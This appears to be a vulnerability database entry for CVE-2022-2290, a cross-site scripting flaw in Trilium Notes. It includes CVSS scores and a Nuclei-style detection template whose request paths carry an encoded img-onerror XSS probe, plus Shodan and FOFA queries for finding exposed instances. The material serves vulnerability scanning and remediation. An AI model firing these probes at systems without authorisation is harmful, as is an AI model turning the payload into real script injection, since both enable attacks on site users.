CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
41.5%
Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
id: CVE-2022-2290
info:
name: Trilium <0.52.4 - Cross-Site Scripting
author: dbrwsky
severity: medium
description: Trilium prior to 0.52.4, 0.53.1-beta contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Trilium instance.
remediation: |
Upgrade Trilium to version 0.52.4 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
reference:
- https://huntr.dev/bounties/367c5c8d-ad6f-46be-8503-06648ecf09cf/
- https://github.com/zadam/trilium
- https://github.com/zadam/trilium/commit/3faae63b849a1fabc31b823bb7af3a84d32256a7
- https://nvd.nist.gov/vuln/detail/CVE-2022-2290
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-2290
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.41295
cpe: cpe:2.3:a:trilium_project:trilium:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: trilium_project
product: trilium
shodan-query:
- title:"Trilium Notes"
- http.title:"trilium notes"
fofa-query: title="trilium notes"
google-query: intitle:"trilium notes"
tags: cve,cve2022,xss,trilium,huntr,trilium_project
http:
- method: GET
path:
- '{{BaseURL}}/custom/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E'
- '{{BaseURL}}/share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "No handler matched for custom <img src=x onerror=alert(document.domain)>"
- "Note '<img src=x onerror=alert(document.domain)>' not found"
condition: or
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 404
# digest: 4b0a00483046022100d30362b6d681b6b532b5b9d0e0de0183446a3d6e63cbbc52fa25f57cbcd9573102210096a5a9f8e18a07ee00f58819fd8346bd275fc7ba0a16e1e8944ec64cfc43cfb6:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
41.5%